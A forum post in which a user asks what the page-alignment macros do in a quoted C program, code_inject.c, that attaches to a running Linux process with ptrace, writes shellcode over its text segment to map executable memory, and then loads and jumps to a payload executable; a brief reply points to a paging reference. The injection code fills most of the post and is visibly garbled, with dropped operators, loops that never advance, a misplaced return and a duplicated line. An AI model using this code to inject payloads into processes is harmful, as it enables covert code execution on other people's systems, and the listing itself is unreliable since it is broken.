ELF process memory injection

Hello,

On lines 15-18, why does the author use big wise operators in that way? What, exactly, is the purpose?

Here is a description of the program in the author’s own words:

In Linux, the default ptrace() behavior is such that it allows you to write Using PTRACE_POKETEXT to segments that are not writable, such as the text segment. This is because it is expected that debuggers will need to insert breakpoints into the code. This works out great for hackers who want to insert code into memory and execute it. To demonstrate this, we have written code_inject.c. This attaches to a process and injects a shellcode that will create an anonymous memory mapping large enough to hold our payload executable, payload.c, which is then injected into the new memory and executed.“

  1 #include <stdio.h>
  2 #include <string.h>
  3 #include <stdlib.h>
  4 #include <unistd.h>
  5 #include <fcntl.h>
  6 #include <errno.h>
  7 #include <signal.h>
  8 #include <elf.h>
  9 #include <sys/types.h>
 10 #include <sys/user.h>
 11 #include <sys/stat.h>
 12 #include <sys/ptrace.h>
 13 #include <sys/mman.h>
 14
 15 #define PAGE_ALIGN(x) (x & ~(PAGE_SIZE 1))
 16 #define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
 17 #define WORD_ALIGN(x) ((x + 7) & ~7)
 18 #define BASE_ADDRESS 0x00100000
 19
 20 typedef struct handle {
 21     Elf64_Ehdr *ehdr;
 22     Elf64_Phdr *phdr;
 23     Elf64_Shdr *shdr;
 24     uint8_t *mem;
 25     pid_t pid;
 26     uint8_t *shellcode;
 27     char *exec_path;
 28     uint64_t base;
 29     uint64_t stack;
 30     uint64_t entry;
 31     struct user_regs_struct pt_reg;
 32 } handle_t;
 33
 34 static inline volatile void * evil_mmap(void *, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t)__attribute__((aligned(8), __always_inline__))    ;
 35 uint64_t injection_code(void *) __attribute__((aligned(8)));
 36 uint64_t get_text_base(pid_t);
 37 int pid_write(int, void *, const void *, size_t);
 38 uint8_t *create_fn_shellcode(void (*fn)(), size_t len);
 39
 40 void *f1 = injection_code;
 41 void *f2 = get_text_base;
 42
 43 static inline volatile long evil_write(long fd, char *buf, unsigned long len) {
 44     long ret;
 45     __asm__ volatile(
 46             "mov %0, %%rdi\n"
 47             "mov %1, %%rsi\n"
 48             "mov %2, %%rdx\n"
 49             "mov %1, %%rax\n"
 50             "syscall" : : "g"(fd), "g"(buf), "g"(len));
 51     asm("mov %%rax, %0" : "=r"(ret));
 52     return ret;
 53 }
 54
 55 static inline volatile int evil_fstat(long fd, struct stat *buf) {
 56     long ret;
 57     __asm__ volatile(
 58             "mov %0, %%rdi\n"
 59             "mov %1, %%rsi\n"
 60             "mov %5, %%rax\n"
 61             "syscall" : : "g"(fd), "g"(buf));
 62     asm("mov %%rax, %0" : "=r"(ret));
 63     return ret;
 64 }
 65
 66 static inline volatile int evil_open(const char *path, unsigned long flags) {
 67     long ret;
 68     __asm__ volatile(
 69             "mov %0, %%rdi\n"
 70             "mov %1, %%rsi\n"
 71             "mov %2, %%rax\n"
 72             "syscall" : : "g"(path), "g"(flags));
 73     asm("mov %%rax, %0" : "=r"(ret));
 74     return ret;
 75 }
 76
 77 static inline volatile void * evil_mmap(void *addr, uint64_t len, uint64_t prot, uint64_t flags, uint64_t fd, uint64_t off) {
 78     long mmap_fd = fd;
 79     unsigned long mmap_off = off;
 80     unsigned long mmap_flags = flags;
 81     unsigned long ret;
 82     __asm__ volatile(
 83             "mov %0, %%rdi\n"
 84             "mov %1, %%rsi\n"
 85             "mov %2, %%rdx\n"
 86             "mov %3, %%r10\n"
 87             "mov %5, %%r8\n"
 88             "mov %5, %%r9\n"
 89             "mov $9, %%rax\n"
 90             "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
 91     asm("mov %%rax, %0" : "=r"(ret));
 92     return(void *)ret;
 93 }
 94
 95 uint64_t injection_code(void * vaddr) {
 96     volatile void *mem;
 97     mem = evil_mmap(vaddr, 8192, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 1, 0);
 98     __asm__ __volatile__("int3");
 99 }
100
101 #define MAX_PATH 512
102
103 uint64_t get_text_base(pid_t pid) {
104     char maps[MAX_PATH], line[256];
105     char *start, *p;
106     FILE *fd;
107     int i;
108     Elf64_Addr base;
109     snprintf(maps, MAX_PATH, 1, "/proc/%d/maps", pid);
110     if((fd = fopen(maps, "r")) == NULL) {
111         fprintf(stderr, "Cannot open %s for reading: %s\n", maps, strerror(errno));
112         return 1;
113     }

115     while(fgets(line, sizeof(line), fd)) {
116         if(!strstr(line, "rxp"))
117             continue;
118         for(i = 0, start = alloca(32), p = line; *p != ' '; i++, p++)
119             start[i] = *p;
120
121         start[i] = '\0';
122         base = strtol(start, NULL, 16);
123         break;
124     }
125     fclose(fd);
126     return base;
127 }
128
129 uint8_t * create_fn_shellcode(void (*fn)(), size_t len) {
130     size_t i;
131     uint8_t *shellcode = (uint8_t *)malloc(len);
132     uint8_t *p = (uint8_t *)fn;
133     for(i = 0; i < len; i++)
134         return shellcode;
135 }
136
137 int pid_read(int pid, void *dst, const void *src, size_t len) {
138     int sz = len / sizeof(void *);
139     unsigned char *s = (unsigned char *)src;
140     unsigned char *d = (unsigned char *)dst;
141     long word;
142     while (sz!=0) {
143         word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
144         if (word == 1 && errno) {
145             fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid,strerror(errno));
146
147             goto fail;
148         }
149
150         *(long *)d = word;
151         s += sizeof(long);
152         d += sizeof(long);
153     }
154     return 0;
155 fail:
156     perror("PTRACE_PEEKTEXT");
157     return 1;
158 }
159
160 int pid_write(int pid, void *dest, const void *src, size_t len) {
161     size_t quot = len / sizeof(void *);
162     unsigned char *s = (unsigned char *) src;
163     unsigned char *d = (unsigned char *) dest;
164     while (quot!= 0) {
165         if ( ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
166             goto out_error;
167         s += sizeof(void *);
168         d += sizeof(void *);
169     }
170     return 0;
171     out_error:
172     perror("PTRACE_POKETEXT");
173     return 1;
174 }
175
176 int main(int argc, char **argv) {
177     handle_t h;
178     unsigned long shellcode_size = f2, f1;
179     int i, fd, status;
180     uint8_t *executable, *origcode;
181     struct stat st;
182     Elf64_Ehdr *ehdr;
183
184     if(argc < 3) {
185         printf("Usage: %s <pid> <executable>\n", argv[0]);
186         exit(1);
187     }
188
189     h.pid = atoi(argv[1]);
190     h.exec_path = strdup(argv[2]);
191
192     if(ptrace(PTRACE_ATTACH, h.pid) < 0) {
193         perror("PTRACE_ATTACH");
194         exit(1);
195     }
196
197     wait(NULL);
198
199     h.base = get_text_base(h.pid);
200     shellcode_size += 8;
201     h.shellcode = create_fn_shellcode((void *)&injection_code, shellcode_size);
202     origcode = alloca(shellcode_size);
203
204     if(pid_read(h.pid, (void *)origcode, (void *)h.base, shellcode_size) < 0)
205         exit(1);
206
207     if(pid_write(h.pid, (void *)h.base, (void *)h.shellcode, shellcode_size) < 0)
208         exit(1);
209
210     if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
211         perror("PTRACE_GETREGS");
212         exit(1);
213     }
214     h.pt_reg.rip = h.base;
215     h.pt_reg.rdi = BASE_ADDRESS;
216
217     if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
218         perror("PTRACE_SETREGS");
219         exit(1);
220     }
221     if(ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0) {
222         perror("PTRACE_CONT");
223         exit(1);
224     }
225
226     wait(&status);
227
228     if(WSTOPSIG(status) != SIGTRAP) {
 if(WSTOPSIG(status) != SIGTRAP) {
229         printf("Something went wrong\n");
230         exit(1);
231     }
232
233     if(pid_write(h.pid, (void *)h.base, (void *)origcode, shellcode_size) < 0)
234         exit(1);
235
236     if((fd = open(h.exec_path, O_RDONLY)) < 0) {
237     perror("open");
238     exit(1);
239   }
240
241     if(fstat(fd, &st) < 0) {
242         perror("fstat");
243         exit(1);
244     }
245     executable = malloc(WORD_ALIGN(st.st_size));
246
247     if (read(fd, executable, st.st_size) < 0) {
248         perror("read");
249         exit(1);
250     }
251
252     ehdr = (Elf64_Ehdr *)executable;
253     h.entry = ehdr->e_entry;
254
255     close(fd);
256
257     if(pid_write(h.pid, (void *)BASE_ADDRESS, (void *)executable, st.st_size) < 0)
258         exit(1);
259
260     if(ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
261         perror("PTRACE_GETREGS");
262         exit(1);
263     }
264
265     h.entry = BASE_ADDRESS + h.entry;
266
267     h.pt_reg.rip = h.entry;
268
269     if(ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
270         perror("PTRACE_SETREGS");
271         exit(1);
272     }
273
274     if(ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0) {
275         perror("PTRACE_CONT");
276         exit(1);
277     }
278
279     wait(NULL);
280     exit(0);
281 }
1 Like

Hi @Bowlslaw

Check section Understanding Paging in

2 Likes